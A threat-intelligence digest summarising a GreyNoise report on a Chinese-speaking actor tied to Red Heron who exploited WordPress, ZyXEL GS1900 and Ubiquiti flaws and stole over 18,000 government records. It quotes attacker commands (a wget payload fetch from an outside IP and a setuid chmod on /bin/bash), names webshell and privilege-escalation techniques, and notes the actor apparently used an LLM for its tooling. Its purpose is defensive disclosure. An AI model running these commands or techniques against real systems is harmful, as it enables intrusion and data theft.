Chinese-speaking actor tied to Red Heron exploits WordPress wp2shell, ZyXEL GS1900 CVE-2026-7273 and Ubiquiti; steals 18,000+ government records

Linha do tempo

1. greynoise.io ↗ · pub. 20/09/2026 21:00 · coletado 19/10 18:37 primeiro registro

   Chinese-speaking actor tied to Red Heron exploits WordPress wp2shell, ZyXEL GS1900 CVE-2026-7273 and Ubiquiti; steals 18,000+ government records

   ler a análise desta fonte ocultar

   GreyNoise reports that a single malicious cyber actor, tracked since 7 May 2026, is a suspected Chinese speaker working in UTC+8 and is the same as or related to Red Heron (reported by Acronis), based on the shared C2 domain, malware family, Gitea exploitation and other TTPs. The actor exploited the wp2shell WordPress chain (CVE-2026-63030, CVE-2026-60137) from about 20 July, compromising at least 49 organizations in 29 countries, mainly small businesses and governments, including a Russian state entity in Russia-occupied Ukraine. The worst case was a western government body, where at least 18,566 records were stolen from a backend SQL database, including accounts, plaintext passwords and PII tied to law enforcement and government agencies. The actor also made the first publicly documented in-the-wild exploitation of CVE-2026-7273 in ZyXEL GS1900 switches, exfiltrating data from 996 devices in 48 countries. CVE-2026-7273 was not in the CISA KEV catalog as of 17 September 2026. GreyNoise suspects the actor used an LLM to generate its custom tooling, citing the code comments, rapid iteration and superficial changes between versions.

   Technical Details

   • Ubiquiti (12 and 15 June): the chain CVE-2026-34908, CVE-2026-34909 and CVE-2026-34910 (added to CISA KEV on 23 June) was used for RCE. The payload was fetched with wget http://74.48.66.73:9860/ssh, then made setuid via chmod u+s /bin/bash. A second attempt used a compromised Taiwanese manufacturer's site. The backdoor (SHA-256 2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1) used C2 p3.981666[.]xyz:6379.
   • WordPress intrusion (22 July):
     • The actor deployed a webshell plugin, kapibala_plugin/kapibala_index.php (parameter kpbl), plus a file writer, fw.php.
     • Tooling was Python scripts with Chinese-language comments.
     • Recon covered Defender status, wp-config.php DB credentials and IIS sites.
     • At least 17 script variants attempted AMSI bypass and privilege escalation, using token impersonation and theft with GodPotato loaded in memory, MSBuild inline execution and a local admin account named kapibala2.
     • The actor attempted a SAM hive dump with reg save.
     • It searched for cleartext credentials in ASP and config files, staged a ZIP archive in a web-reachable path and downloaded it. The archive held source code and credentials.
     • It then ran password spraying (SMB and SQL) and bulk-extracted the SQL data with custom tools, using the same staging method.
     • Internal spraying continued until at least 06:01Z.
   • ZyXEL (about 17 August): the actor exfiltrated configurations, hashed root-level credentials and network information from 996 GS1900 switches.
   • The article is truncated, so the full victim country list and the remaining ZyXEL details are not available.

   Remediation

   • Patch Ubiquiti, WordPress and ZyXEL GS1900 devices, and restrict management interfaces from internet exposure.
   • Hunt for the kapibala_plugin directory, fw.php, ZIP archives staged in web roots and unexpected local admin accounts.
   • Rotate credentials stored in config files, and monitor for password spraying and token-impersonation tooling such as GodPotato.
   • Block the listed infrastructure. GreyNoise is withholding the primary scanning IP for now.